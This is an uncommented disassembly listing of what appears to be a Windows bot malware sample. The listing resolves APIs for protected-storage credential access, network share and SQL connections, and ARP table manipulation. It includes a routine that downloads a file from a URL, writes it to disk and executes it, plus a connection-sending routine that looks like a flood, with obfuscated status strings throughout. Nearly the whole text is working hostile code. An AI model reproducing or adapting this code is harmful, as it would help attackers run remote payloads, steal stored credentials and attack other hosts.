jz short loc_417EE9
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; dword_437030
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_456DF4, eax
call esi ; dword_437030
cmp dword_456DF4, ebx
mov dword_456F0C, eax
jz short loc_417EF4
cmp eax, ebx
jnz short loc_417EFE
jmp short loc_417EF4
; ---------------------------------------------------------------------------
loc_417EE9: ; CODE XREF: sub_41729C+C23j
call dword_43716C ; RtlGetLastWin32Error
mov dword_45704C, eax
loc_417EF4: ; CODE XREF: sub_41729C+C45j
; sub_41729C+C4Bj
mov dword_457048, 1
loc_417EFE: ; CODE XREF: sub_41729C+C49j
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; dword_437034
mov edi, eax
cmp edi, ebx
jz loc_417F91
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; dword_437030
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_456FAC, eax
call esi ; dword_437030
push offset aGetiftable ; "GetIfTable"
push edi
mov dword_456FA8, eax
call esi ; dword_437030
push offset aGettcptable ; "GetTcpTable"
push edi
mov dword_456EDC, eax
call esi ; dword_437030
push offset aGetudptable ; "GetUdpTable"
push edi
mov dword_456EF4, eax
call esi ; dword_437030
cmp dword_456FAC, ebx
mov dword_456F84, eax
jz short loc_417F74
cmp dword_456FA8, ebx
jz short loc_417F74
cmp dword_456EDC, ebx
jz short loc_417F74
cmp eax, ebx
jz short loc_417F74
cmp dword_456EF4, ebx
jnz short loc_417F7E
loc_417F74: ; CODE XREF: sub_41729C+CBAj
; sub_41729C+CC2j ...
mov dword_457050, 1
loc_417F7E: ; CODE XREF: sub_41729C+CD6j
push offset aGetnetworkpara ; "GetNetworkParams"
push edi
call esi ; dword_437030
cmp eax, ebx
mov dword_456E94, eax
jnz short loc_417FA6
jmp short loc_417F9C
; ---------------------------------------------------------------------------
loc_417F91: ; CODE XREF: sub_41729C+C6Dj
call dword_43716C ; RtlGetLastWin32Error
mov dword_457058, eax
loc_417F9C: ; CODE XREF: sub_41729C+CF3j
mov dword_457050, 1
loc_417FA6: ; CODE XREF: sub_41729C+CF1j
push offset aMpr_dll ; "mpr.dll"
call ebp ; dword_437034
mov edi, eax
cmp edi, ebx
jz short loc_418005
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; dword_437030
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_456FE0, eax
call esi ; dword_437030
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_456FD8, eax
call esi ; dword_437030
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_456F90, eax
call esi ; dword_437030
cmp dword_456FE0, ebx
mov dword_456E14, eax
jz short loc_418010
cmp dword_456FD8, ebx
jz short loc_418010
cmp dword_456F90, ebx
jz short loc_418010
cmp eax, ebx
jnz short loc_41801A
jmp short loc_418010
; ---------------------------------------------------------------------------
loc_418005: ; CODE XREF: sub_41729C+D15j
call dword_43716C ; RtlGetLastWin32Error
mov dword_457060, eax
loc_418010: ; CODE XREF: sub_41729C+D51j
; sub_41729C+D59j ...
mov dword_45705C, 1
loc_41801A: ; CODE XREF: sub_41729C+D65j
push offset aShell32_dll ; "shell32.dll"
call ebp ; dword_437034
mov edi, eax
cmp edi, ebx
jz short loc_41804F
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; dword_437030
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_456E54, eax
call esi ; dword_437030
cmp dword_456E54, ebx
mov dword_456FA4, eax
jz short loc_41805A
cmp eax, ebx
jnz short loc_418064
jmp short loc_41805A
; ---------------------------------------------------------------------------
loc_41804F: ; CODE XREF: sub_41729C+D89j
call dword_43716C ; RtlGetLastWin32Error
mov dword_457068, eax
loc_41805A: ; CODE XREF: sub_41729C+DABj
; sub_41729C+DB1j
mov dword_457064, 1
loc_418064: ; CODE XREF: sub_41729C+DAFj
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; dword_437034
mov edi, eax
cmp edi, ebx
jz short loc_4180ED
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; dword_437030
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_456F58, eax
call esi ; dword_437030
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_456FB8, eax
call esi ; dword_437030
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_456EC8, eax
call esi ; dword_437030
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_456E6C, eax
call esi ; dword_437030
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_456F3C, eax
call esi ; dword_437030
cmp dword_456F58, ebx
mov dword_456E7C, eax
jz short loc_4180F8
cmp dword_456FB8, ebx
jz short loc_4180F8
cmp dword_456EC8, ebx
jz short loc_4180F8
cmp dword_456E6C, ebx
jz short loc_4180F8
cmp dword_456F3C, ebx
jz short loc_4180F8
cmp eax, ebx
jnz short loc_418102
jmp short loc_4180F8
; ---------------------------------------------------------------------------
loc_4180ED: ; CODE XREF: sub_41729C+DD3j
call dword_43716C ; RtlGetLastWin32Error
mov dword_457070, eax
loc_4180F8: ; CODE XREF: sub_41729C+E29j
; sub_41729C+E31j ...
mov dword_45706C, 1
loc_418102: ; CODE XREF: sub_41729C+E4Dj
push offset aPsapi_dll ; "psapi.dll"
call ebp ; dword_437034
mov edi, eax
cmp edi, ebx
jz short loc_418177
push offset aGetmodulefilen ; "GetModuleFileNameExA"
push edi
call esi ; dword_437030
push offset aGetmodulebasen ; "GetModuleBaseNameA"
push edi
mov dword_456EC4, eax
call esi ; dword_437030
push offset aEnumprocessmod ; "EnumProcessModules"
push edi
mov dword_456E00, eax
call esi ; dword_437030
push offset aEnumprocesses ; "EnumProcesses"
push edi
mov dword_456ECC, eax
call esi ; dword_437030
push offset aGetprocessmemo ; "GetProcessMemoryInfo"
push edi
mov dword_456F10, eax
call esi ; dword_437030
cmp dword_456E00, ebx
mov dword_456F80, eax
jz short loc_41816C
cmp dword_456ECC, ebx
jz short loc_41816C
cmp dword_456F10, ebx
jz short loc_41816C
cmp eax, ebx
jnz short loc_41818C
loc_41816C: ; CODE XREF: sub_41729C+EBAj
; sub_41729C+EC2j ...
xor edi, edi
inc edi
mov dword_45707C, edi
jmp short loc_41818F
; ---------------------------------------------------------------------------
loc_418177: ; CODE XREF: sub_41729C+E71j
call dword_43716C ; RtlGetLastWin32Error
mov dword_457080, eax
mov dword_45707C, 1
loc_41818C: ; CODE XREF: sub_41729C+ECEj
xor edi, edi
inc edi
loc_41818F: ; CODE XREF: sub_41729C+ED9j
push offset aPstorec_dll ; "pstorec.dll"
call ebp ; dword_437034
cmp eax, ebx
jz short loc_4181AD
push offset aPstorecreatein ; "PStoreCreateInstance"
push eax
call esi ; dword_437030
cmp eax, ebx
mov dword_456EEC, eax
jnz short loc_4181BE
jmp short loc_4181B8
; ---------------------------------------------------------------------------
loc_4181AD: ; CODE XREF: sub_41729C+EFCj
call dword_43716C ; RtlGetLastWin32Error
mov dword_457088, eax
loc_4181B8: ; CODE XREF: sub_41729C+F0Fj
mov dword_457084, edi
loc_4181BE: ; CODE XREF: sub_41729C+F0Dj
push offset aShlwapi_dll ; "shlwapi.dll"
call ebp ; dword_437034
cmp eax, ebx
jz short loc_4181DC
push offset aPathremovefile ; "PathRemoveFileSpecA"
push eax
call esi ; dword_437030
cmp eax, ebx
mov dword_456E8C, eax
jnz short loc_4181ED
jmp short loc_4181E7
; ---------------------------------------------------------------------------
loc_4181DC: ; CODE XREF: sub_41729C+F2Bj
call dword_43716C ; RtlGetLastWin32Error
mov dword_457098, eax
loc_4181E7: ; CODE XREF: sub_41729C+F3Ej
mov dword_457094, edi
loc_4181ED: ; CODE XREF: sub_41729C+F3Cj
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41729C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4181F4 proc near ; DATA XREF: sub_40A938+56AFo
; sub_40A938+5942o
var_2BE4 = byte ptr -2BE4h
var_4D4 = byte ptr -4D4h
var_3D0 = byte ptr -3D0h
var_330 = byte ptr -330h
var_2B8 = byte ptr -2B8h
var_240 = byte ptr -240h
var_13C = dword ptr -13Ch
var_110 = dword ptr -110h
var_10C = word ptr -10Ch
var_F8 = byte ptr -0F8h
var_F4 = dword ptr -0F4h
var_F0 = byte ptr -0F0h
var_88 = qword ptr -88h
var_7C = qword ptr -7Ch
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = qword ptr -20h
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 2BE4h
call sub_429A90
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 31h
mov esi, eax
pop ecx
lea edi, [ebp+var_F4]
rep movsd
xor edi, edi
push 9Fh
push [ebp+var_6C]
inc edi
mov [eax+0BCh], edi
mov eax, [ebp+var_F4]
mov [ebp+arg_0], eax
lea eax, [ebp+var_3D0]
push eax
call sub_429C40
push 104h
lea eax, [ebp+var_240]
push [ebp+var_68]
push eax
call sub_429C40
add esp, 18h
xor ebx, ebx
lea eax, [ebp+var_3D0]
push ebx
push 80000300h
push ebx
push ebx
push eax
push dword_456EB0
call dword_456DD4 ; InternetOpenUrlA
cmp eax, ebx
mov [ebp+var_2C], eax
jz loc_4188EF
push ebx
push ebx
push 2
push ebx
push ebx
lea eax, [ebp+var_240]
push 40000000h
push eax
call dword_43705C ; CreateFileA
cmp eax, edi
mov dword ptr [ebp+var_20+4], eax
jnb short loc_418316
cmp [ebp+var_40], ebx
mov edi, offset aHuudgYqzdz ; "HuuDG/YQZDz/"
mov esi, offset aSCouldnTOpenFi ; "%s Couldn't open file for writing: %s."
jnz short loc_4182D3
cmp [ebp+var_3C], ebx
jnz short loc_4182D8
cmp [ebp+var_60], ebx
mov eax, offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
jnz short loc_4182B8
mov eax, edi
loc_4182B8: ; CODE XREF: sub_4181F4+C0j
lea ecx, [ebp+var_240]
push ecx
push eax
lea eax, [ebp+var_F0]
push esi
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 14h
loc_4182D3: ; CODE XREF: sub_4181F4+B1j
cmp [ebp+var_3C], ebx
jz short loc_4182FD
loc_4182D8: ; CODE XREF: sub_4181F4+B6j
cmp [ebp+var_60], ebx
jz short loc_4182E2
mov edi, offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
loc_4182E2: ; CODE XREF: sub_4181F4+E7j
lea eax, [ebp+var_240]
push eax
push edi
lea eax, [ebp+var_F0]
push esi
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 14h
loc_4182FD: ; CODE XREF: sub_4181F4+E2j
push [ebp+var_2C]
call dword_456F50 ; InternetCloseHandle
push [ebp+var_70]
call sub_42355A
pop ecx
push ebx
call dword_437170 ; ExitThread
loc_418316: ; CODE XREF: sub_4181F4+A2j
mov esi, dword_437184
mov [ebp+var_4], ebx
call esi ; dword_437184
mov edi, 7D000h
mov dword ptr [ebp+var_C+4], eax
push edi
call sub_4296E8
pop ecx
mov [ebp+var_30], eax
loc_418333: ; CODE XREF: sub_4181F4+1B9j
push 2710h
lea eax, [ebp+var_2BE4]
push ebx
push eax
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_2BE4]
push 2710h
push eax
push [ebp+var_2C]
call dword_456DDC ; InternetReadFile
lea eax, [ebp+var_F8]
push ebx
push eax
lea eax, [ebp+var_2BE4]
push [ebp+var_18]
push eax
push dword ptr [ebp+var_20+4]
call dword_437078 ; WriteFile
mov ecx, [ebp+var_4]
cmp ecx, edi
jnb short loc_4183A5
mov eax, edi
sub eax, ecx
cmp eax, [ebp+var_18]
jbe short loc_41838F
mov eax, [ebp+var_18]
loc_41838F: ; CODE XREF: sub_4181F4+196j
push eax
lea eax, [ebp+var_2BE4]
push eax
mov eax, [ebp+var_30]
add eax, ecx
push eax
call sub_429350
add esp, 0Ch
loc_4183A5: ; CODE XREF: sub_4181F4+18Dj
mov eax, [ebp+var_18]
add [ebp+var_4], eax
cmp eax, ebx
ja short loc_418333
call esi ; dword_437184
sub eax, dword ptr [ebp+var_C+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_30]
div ecx
xor edx, edx
mov ecx, eax
mov eax, [ebp+var_4]
inc ecx
div ecx
mov dword ptr [ebp+var_C+4], eax
call sub_429822
pop ecx
push dword ptr [ebp+var_20+4]
call dword_437044 ; CloseHandle
push [ebp+var_2C]
call dword_456F50 ; InternetCloseHandle
cmp [ebp+var_40], ebx
mov edi, offset aHuudgYqzdz ; "HuuDG/YQZDz/"
jnz short loc_418457
cmp [ebp+var_3C], ebx
jnz short loc_41845C
cmp [ebp+var_60], ebx
mov eax, offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
jnz short loc_418400
mov eax, edi
loc_418400: ; CODE XREF: sub_4181F4+208j
mov ecx, dword ptr [ebp+var_C+4]
mov dword ptr [ebp+var_20+4], ebx
mov dword ptr [ebp+var_20], ecx
push ecx
fild [ebp+var_20]
push ecx
lea ecx, [ebp+var_240]
mov dword ptr [ebp+var_20+4], ebx
fmul dbl_437328
fstp [esp+7Ch+var_7C]
push ecx
mov ecx, [ebp+var_4]
mov dword ptr [ebp+var_20], ecx
push ecx
fild [ebp+var_20]
push ecx
fmul dbl_437328
fstp [esp+88h+var_88]
push offset aRy6iq0udbph ; "RY6IQ0UDbPh/"
push offset a8cbgoRjryr_ ; "8CBGO/rJRYr."
push eax
lea eax, [ebp+var_F0]
push offset aSSS_1fkbToS@_1 ; "%s %s %s: %.1fKB to: %s @ %.1fKB/sec."
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 2Ch
loc_418457: ; CODE XREF: sub_4181F4+1F9j
cmp [ebp+var_3C], ebx
jz short loc_4184BF
loc_41845C: ; CODE XREF: sub_4181F4+1FEj
cmp [ebp+var_60], ebx
mov eax, offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
jnz short loc_418468
mov eax, edi
loc_418468: ; CODE XREF: sub_4181F4+270j
mov ecx, dword ptr [ebp+var_C+4]
mov dword ptr [ebp+var_C+4], ebx
mov dword ptr [ebp+var_C], ecx
push ecx
fild [ebp+var_C]
push ecx
lea ecx, [ebp+var_240]
mov dword ptr [ebp+var_C+4], ebx
fmul dbl_437328
fstp [esp+7Ch+var_7C]
push ecx
mov ecx, [ebp+var_4]
mov dword ptr [ebp+var_C], ecx
push ecx
fild [ebp+var_C]
push ecx
fmul dbl_437328
fstp [esp+88h+var_88]
push offset aRy6iq0udbph ; "RY6IQ0UDbPh/"
push offset a8cbgoRjryr_ ; "8CBGO/rJRYr."
push eax
lea eax, [ebp+var_F0]
push offset aSSS_1fkbToS@_1 ; "%s %s %s: %.1fKB to: %s @ %.1fKB/sec."
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 2Ch
loc_4184BF: ; CODE XREF: sub_4181F4+266j
cmp [ebp+var_60], ebx
jnz loc_4187DB
cmp [ebp+var_5C], ebx
jz loc_418964
mov eax, [ebp+var_58]
push 104h
mov dword ptr [ebp+var_C+4], eax
lea eax, [ebp+var_240]
push eax
lea eax, [ebp+var_4D4]
push eax
call sub_429C40
add esp, 0Ch
lea eax, [ebp+var_4D4]
push eax
call dword_456E8C ; PathRemoveFileSpecA
test eax, eax
jnz short loc_418560
cmp [ebp+var_40], ebx
mov esi, offset aYdidb16dnmq_ ; "YdidB16dnMQ."
jnz short loc_418532
cmp [ebp+var_3C], ebx
jnz short loc_41853B
call dword_43716C ; RtlGetLastWin32Error
push eax
push esi
push edi
lea eax, [ebp+var_F0]
push offset aSCouldnTParseP ; "%s Couldn't parse path, %s: <%d>"
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 18h
loc_418532: ; CODE XREF: sub_4181F4+317j
cmp [ebp+var_3C], ebx
jz loc_41863A
loc_41853B: ; CODE XREF: sub_4181F4+31Cj
call dword_43716C ; RtlGetLastWin32Error
push eax
push esi
push edi
lea eax, [ebp+var_F0]
push offset aSCouldnTParseP ; "%s Couldn't parse path, %s: <%d>"
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 18h
jmp loc_41863A
; ---------------------------------------------------------------------------
loc_418560: ; CODE XREF: sub_4181F4+30Dj
push 44h
lea eax, [ebp+var_13C]
push ebx
push eax
call sub_429690
push 10h
lea eax, [ebp+var_28]
push ebx
push eax
call sub_429690
mov eax, dword ptr [ebp+var_C+4]
add esp, 18h
neg eax
sbb eax, eax
mov [ebp+var_13C], 44h
and al, 0FBh
mov [ebp+var_110], 1
add eax, 5
mov [ebp+var_10C], ax
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_13C]
push eax
lea eax, [ebp+var_4D4]
push eax
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp+var_240]
push ebx
push eax
push ebx
call dword_437188 ; CreateProcessA
test eax, eax
jnz short loc_418644
cmp [ebp+var_40], ebx
mov esi, offset aYdidb16dnmq_ ; "YdidB16dnMQ."
jnz short loc_418609
cmp [ebp+var_3C], ebx
jnz short loc_41860E
call dword_43716C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_240]
push esi
push eax
push offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0"
push edi
lea eax, [ebp+var_F0]
push offset aSSToCreateProc ; "%s %s to create process: \"%s\", %s: <%d>"...
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 20h
loc_418609: ; CODE XREF: sub_4181F4+3E2j
cmp [ebp+var_3C], ebx
jz short loc_41863A
loc_41860E: ; CODE XREF: sub_4181F4+3E7j
call dword_43716C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_240]
push esi
push eax
push offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0"
push edi
lea eax, [ebp+var_F0]
push offset aSSToCreateProc ; "%s %s to create process: \"%s\", %s: <%d>"...
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 20h
loc_41863A: ; CODE XREF: sub_4181F4+341j
; sub_4181F4+367j ...
xor eax, eax
pop edi
pop esi
inc eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_418644: ; CODE XREF: sub_4181F4+3D8j
call esi ; dword_437184
cmp [ebp+var_40], ebx
mov dword ptr [ebp+var_C+4], eax
jnz short loc_418675
cmp [ebp+var_3C], ebx
jnz short loc_41867A
push dword ptr [ebp+var_20]
lea eax, [ebp+var_240]
push eax
push edi
lea eax, [ebp+var_F0]
push offset aSCreatedProces ; "%s Created process: \"%s\", PID: <%d>"
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 18h
loc_418675: ; CODE XREF: sub_4181F4+458j
cmp [ebp+var_3C], ebx
jz short loc_41869C
loc_41867A: ; CODE XREF: sub_4181F4+45Dj
push dword ptr [ebp+var_20]
lea eax, [ebp+var_240]
push eax
push edi
lea eax, [ebp+var_F0]
push offset aSCreatedProces ; "%s Created process: \"%s\", PID: <%d>"
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 18h
loc_41869C: ; CODE XREF: sub_4181F4+484j
cmp [ebp+var_44], ebx
jz loc_4187B6
push 0FFFFFFFFh
push [ebp+var_28]
call dword_43707C ; WaitForSingleObject
call esi ; dword_437184
sub eax, dword ptr [ebp+var_C+4]
xor edx, edx
mov ecx, 3E8h
push 3Ch
div ecx
xor edx, edx
mov ecx, 15180h
pop esi
mov [ebp+var_2B8], bl
div ecx
mov ecx, 0E10h
mov eax, edx
xor edx, edx
div ecx
mov ecx, eax
mov eax, edx
xor edx, edx
div esi
cmp ecx, ebx
mov esi, edx
mov dword ptr [ebp+var_C+4], eax
jbe short loc_418724
cmp ecx, 1
mov eax, offset aHour ; " hour"
jz short loc_4186FB
mov eax, offset aHours ; " hours"
loc_4186FB: ; CODE XREF: sub_4181F4+500j
push eax
push ecx
lea eax, [ebp+var_330]
push offset aDS ; " %d%s"
push eax
call sub_429A33
lea eax, [ebp+var_330]
push eax
lea eax, [ebp+var_2B8]
push eax
call sub_42A510
add esp, 18h
loc_418724: ; CODE XREF: sub_4181F4+4F6j
push esi
lea eax, [ebp+var_330]
push dword ptr [ebp+var_C+4]
push offset a_2d_2d ; " %.2d:%.2d"
push eax
call sub_429A33
lea eax, [ebp+var_330]
push eax
lea eax, [ebp+var_2B8]
push eax
call sub_42A510
add esp, 18h
cmp [ebp+var_3C], ebx
mov esi, offset aSProcessSSTota ; "%s Process %s: \"%s\", Total %s Time: %s."...
jnz short loc_41878A
lea eax, [ebp+var_2B8]
push eax
lea eax, [ebp+var_240]
push offset aIhfnL6b5x ; "/iHFN/l6B5X/"
push eax
push offset aSfe3h0kclgx0 ; "SFe3H0kCLgx0"
push edi
lea eax, [ebp+var_F0]
push esi
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 20h
cmp [ebp+var_3C], ebx
jz short loc_4187B6
loc_41878A: ; CODE XREF: sub_4181F4+563j
lea eax, [ebp+var_2B8]
push eax
lea eax, [ebp+var_240]
push offset aIhfnL6b5x ; "/iHFN/l6B5X/"
push eax
push offset aSfe3h0kclgx0 ; "SFe3H0kCLgx0"
push edi
lea eax, [ebp+var_F0]
push esi
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 20h
loc_4187B6: ; CODE XREF: sub_4181F4+4ABj
; sub_4181F4+594j
cmp [ebp+var_28], ebx
jz short loc_4187C4
push [ebp+var_28]
call dword_437044 ; CloseHandle
loc_4187C4: ; CODE XREF: sub_4181F4+5C5j
cmp [ebp+var_24], ebx
jz loc_418964
push [ebp+var_24]
call dword_437044 ; CloseHandle
jmp loc_418964
; ---------------------------------------------------------------------------
loc_4187DB: ; CODE XREF: sub_4181F4+2CEj
push 10h
lea eax, [ebp+var_14]
push ebx
push eax
call sub_429690
push 44h
lea eax, [ebp+var_13C]
pop esi
push esi
push ebx
push eax
call sub_429690
add esp, 18h
lea eax, [ebp+var_14]
mov [ebp+var_13C], esi
mov [ebp+var_10C], bx
push eax
lea eax, [ebp+var_13C]
push eax
push ebx
push ebx
push 28h
push ebx
push ebx
lea eax, [ebp+var_240]
push ebx
push eax
push ebx
call dword_437188 ; CreateProcessA
cmp eax, 1
jnz short loc_418881
xor eax, eax
cmp [ebp+var_54], 1
setz al
push eax
push 1
call sub_427CE1
mov esi, dword_43718C
pop ecx
pop ecx
push 7D0h
call esi ; dword_43718C
call sub_4234DB
push 64h
call esi ; dword_43718C
push offset a3un9w_temux_5y ; "3Un9W.TEMuX.5ythl/YiVnR/J9IiO.VPA7i1"
push [ebp+arg_0]
call sub_41C9EE
pop ecx
pop ecx
push 3E8h
call esi ; dword_43718C
mov ecx, [ebp+arg_0]
call sub_41C9BC
call dword_456E38 ; WSACleanup
push ebx
call dword_4370C4 ; ExitProcess
loc_418881: ; CODE XREF: sub_4181F4+637j
cmp [ebp+var_40], ebx
mov esi, offset aYdidb16dnmq_ ; "YdidB16dnMQ."
mov edi, offset aSSSSExecutingF ; "%s %s %s: %s executing file: %s."
jnz short loc_4188BA
lea eax, [ebp+var_240]
push eax
push esi
push offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0"
push offset aW3nki_guvjx ; "w3NKI.gUvJx/"
push offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
lea eax, [ebp+var_F0]
push edi
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 20h
loc_4188BA: ; CODE XREF: sub_4181F4+69Aj
cmp [ebp+var_3C], ebx
jz loc_418964
lea eax, [ebp+var_240]
push eax
push esi
push offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0"
push offset aW3nki_guvjx ; "w3NKI.gUvJx/"
push offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
lea eax, [ebp+var_F0]
push edi
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 20h
jmp short loc_418964
; ---------------------------------------------------------------------------
loc_4188EF: ; CODE XREF: sub_4181F4+7Fj
cmp [ebp+var_40], ebx
mov esi, dword_43716C
mov edi, offset aHuudgYqzdz ; "HuuDG/YQZDz/"
jnz short loc_418935
cmp [ebp+var_3C], ebx
jnz short loc_41893A
cmp [ebp+var_60], ebx
mov dword ptr [ebp+var_C+4], offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
jnz short loc_418913
mov dword ptr [ebp+var_C+4], edi
loc_418913: ; CODE XREF: sub_4181F4+71Aj
call esi ; dword_43716C
push eax
push offset aNd4qzY5xml0rna ; "nD4Qz/y5xMl0RNAQI05pV11/XzinP/s/R0A."
push dword ptr [ebp+var_C+4]
lea eax, [ebp+var_F0]
push offset aSSD ; "%s %s <%d>"
push eax
push [ebp+arg_0]
call sub_41CD84
add esp, 18h
loc_418935: ; CODE XREF: sub_4181F4+709j
cmp [ebp+var_3C], ebx
jz short loc_418964
loc_41893A: ; CODE XREF: sub_4181F4+70Ej
cmp [ebp+var_60], ebx
jz short loc_418944
mov edi, offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
loc_418944: ; CODE XREF: sub_4181F4+749j
call esi ; dword_43716C
push eax
push offset aNd4qzY5xml0rna ; "nD4Qz/y5xMl0RNAQI05pV11/XzinP/s/R0A."
push edi
lea eax, [ebp+var_F0]
push offset aSSD ; "%s %s <%d>"
push eax
push [ebp+arg_0]
call sub_41CD0E
add esp, 18h
loc_418964: ; CODE XREF: sub_4181F4+2D7j
; sub_4181F4+5D3j ...
push [ebp+var_70]
call sub_42355A
pop ecx
push ebx
call dword_437170 ; ExitThread
sub_4181F4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418974 proc near ; CODE XREF: sub_418A0D+DFp
; sub_418A0D+225p
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
mov edi, [ebp+arg_0]
push dword ptr [edi]
call dword_4372A0
mov esi, eax
test esi, esi
jnz short loc_418992
push 0FFFFFFFEh
pop eax
jmp short loc_418A09
; ---------------------------------------------------------------------------
loc_418992: ; CODE XREF: sub_418974+17j
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_429690
movsx eax, word ptr [esi+0Ah]
push eax
lea eax, [ebp+var_C]
push eax
mov eax, [esi+0Ch]
push dword ptr [eax]
call sub_429350
mov ax, [esi+8]
add esp, 18h
mov [ebp+var_10], ax
push [ebp+arg_4]
call dword_4372C0
push dword ptr [edi]
mov [ebp+var_E], ax
call sub_41E326
mov [ebp+var_C], eax
pop ecx
movsx eax, [ebp+var_10]
push 0
push 1
push eax
call dword_4372B8
mov esi, eax
test esi, esi
jl short loc_418A02
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4372C8
test eax, eax
jge short loc_418A07
push esi
call sub_42F0D0
pop ecx
loc_418A02: ; CODE XREF: sub_418974+74j
or eax, 0FFFFFFFFh
jmp short loc_418A09
; ---------------------------------------------------------------------------
loc_418A07: ; CODE XREF: sub_418974+85j
mov eax, esi
loc_418A09: ; CODE XREF: sub_418974+1Cj
; sub_418974+91j
pop edi
pop esi
leave
retn
sub_418974 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A0D proc near ; DATA XREF: sub_40A938+7AD4o
var_13C = dword ptr -13Ch
var_138 = byte ptr -138h
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 13Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 48h
mov esi, eax
pop ecx
lea edi, [ebp+var_13C]
rep movsd
mov esi, dword_437184
mov dword ptr [eax+11Ch], 1
mov eax, [ebp+var_13C]
mov [ebp+var_8], eax
call esi ; dword_437184
mov ecx, [ebp+var_38]
mov [ebp+arg_0], eax
lea eax, [ebp+var_138]
xor ebx, ebx
cmp [ebp+var_24], ebx
mov [ebp+var_14], eax
mov eax, [ebp+var_34]
mov [ebp+var_10], ecx
mov [ebp+var_4], eax
mov edi, offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
jnz short loc_418A91
cmp [ebp+var_28], ebx
jnz short loc_418A96
push [ebp+var_30]
push eax
lea eax, [ebp+var_138]
push ecx
push eax
push edi
lea eax, [ebp+var_B8]
push offset aSSendingSDDCon ; "%s -> Sending (%s:%d) (%d) connects(s) "...
push eax
push [ebp+var_8]
call sub_41CD84
add esp, 20h
loc_418A91: ; CODE XREF: sub_418A0D+59j
cmp [ebp+var_28], ebx
jz short loc_418ABE
loc_418A96: ; CODE XREF: sub_418A0D+5Ej
push [ebp+var_30]
